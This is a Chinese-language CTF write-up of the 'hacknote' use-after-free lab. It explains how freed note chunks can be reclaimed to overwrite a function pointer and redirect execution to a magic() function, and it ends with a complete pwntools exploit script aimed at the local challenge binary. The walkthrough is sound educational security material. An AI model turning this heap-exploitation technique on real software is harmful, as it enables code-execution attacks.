-
-
[原创]Use-after-free之lab 10 hacknote
-
2021-6-12 11:10 13179
-
整明白之后才能明白这道题有多简单,花了我两天时间啊!!!
自己的基础知识积累真的不够
看看主函数啊
输入 1 进入 add_note()
输入 2 进入del_note()
输入 3 进入print_note()
简单分析一下
add_note()
首先看看这个notelist[]
我当时也是懵了好久不知道是这是个啥
为啥里面还有put,content
这其实是个结构体指针数组,也就是说这个数组里面放的是结构体的指针,双击一下put或者content就知道了
这个函数的大致意思就是先申请一个大小为8byte的chunk0,将其地址放入notelist[i]中
再申请自己规定字节大小的chunk1,将其地址放入第一次申请的chunk0的content中
第一次申请的8byte的chunk0的put处存放print_note_content函数地址
content处存放第二次申请的chunk1的地址
我们后面写内容是往第二次申请的chunk1中填写的
假设我们申请了一个32byte的chunk1,往里面填写'aaaa',最终会达到这样一个效果
接下来我们看del_note()
free掉了chunk0和chunk1
但是我们注意这里没有将notelist[i]里面的存放的指针设置为NULL
这也就导致虽然我们free掉了这两块chunk,但我们仍然可以对其原来所在的地址空间进行操作。
因此就会造成use_after_free
究竟怎样利用,我们先往后看
print_note()
打印函数,通过chunk0处存放的函数指针(print_note_content)打印content
其次,这里面还有一个函数值得关注magic()
话不多说,我们开始写jio本
我们先申请两个相同字节的chunk
note0和note1
然后全都free掉
chunk,注意不能是8byte,原因后面会说
例如我们申请32byte的
free掉之后我们看看fastbin
因为我的pwndbg出现了一点问题(fastbin查不到),所以我在这给大家手画一个
大概是这个样子
如果这个时候我们再申请一个8字节大小的chunk会怎么样呢
答案是首先原本的note1的chunk0会被当成新的chunk0,而原本的note0的chunk0会被当成新的chunk1
这时如果我们向新的chunk1中填写数据,则相当于将note0的chunk0更改了
例如我们这样
则note0的chunk0会变成这样
此时我们再执行print_note()就会执行magic函数
如果我们之前申请的note0和note1的chunk1大小是8byte那么fastbin就不会像上面那样排列了,所以不能是8byte
完整的exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 | from pwn import * sh = process( './hacknote' ) elf = ELF( './hacknote' ) def malloc(size,content): sh.recvuntil( 'choice :' ) sh.sendline( '1' ) sh.recvuntil( 'size :' ) sh.sendline( str (size)) sh.recvuntil( 'Content :' ) sh.sendline(content) def free(idx): sh.recvuntil( 'choice :' ) sh.sendline( '2' ) sh.recvuntil( 'Index :' ) sh.sendline( str (idx)) def printf(idx): sh.recvuntil( 'choice :' ) sh.sendline( '3' ) sh.recvuntil( "Index :" ) sh.sendline( str (idx)) malloc( 32 , 'aaaa' ) #note0 malloc( 32 , 'aaaa' ) #note1 free( 0 ) free( 1 ) magic_addr = 0x08048986 malloc( 0x8 ,p32(magic_addr)) printf( 0 ) sh.interactive() |
如有不正确的地方,还请师傅们提出来
大家有什么问题也可以问我呀
懂我意思嘛,我向你敬礼啊!~
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课